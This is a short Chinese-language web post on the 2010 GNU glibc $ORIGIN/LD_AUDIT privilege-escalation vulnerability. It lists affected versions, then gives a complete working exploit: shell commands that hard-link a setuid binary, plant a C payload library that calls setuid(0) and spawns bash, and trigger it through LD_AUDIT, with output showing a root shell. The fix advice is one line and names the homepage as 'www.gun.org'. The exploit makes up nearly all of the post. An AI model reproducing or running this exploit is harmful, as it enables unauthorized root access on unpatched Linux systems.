<strong>一、影响范围<br />
发布日期:2010-10-18<br />
更新日期:2010-10-20
受影响系统:
GNU glibc 2.5
GNU glibc 2.12.1
注:该漏洞发布有一年多的时间了,不过真正修复的机器估计很少。受影响的范围也很广,只有有使用GUN glibc的类linux系统都会中招。
<br />
<strong>二、攻击方法</strong>
<br />
# 在/tmp下创建可控制的目录 $ mkdir /tmp/exploit # 链接到suid二进制程序以更改$ORIGIN的定义 $ ln /bin/ping /tmp/exploit/target # 打开到目标二进制程序的文件描述符 $ exec 3< /tmp/exploit/target # 现在可通过/proc访问描述符 $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target* # 删除之前所创建的目录 $ rm -rf /tmp/exploit/ # /proc链接仍存在,但已标记为已被删除 $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted) # 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标 $ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D $ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ ls -l /tmp/exploit -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit* # 通过LD_AUDIT强制/proc中的链接加载$ORIGIN $ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 sh-4.1# whoami root sh-4.1# id uid=0(root) gid=500(taviso)
<br />
修复方法:升级glibc包。glibc官方主页:www.gun.org
<br />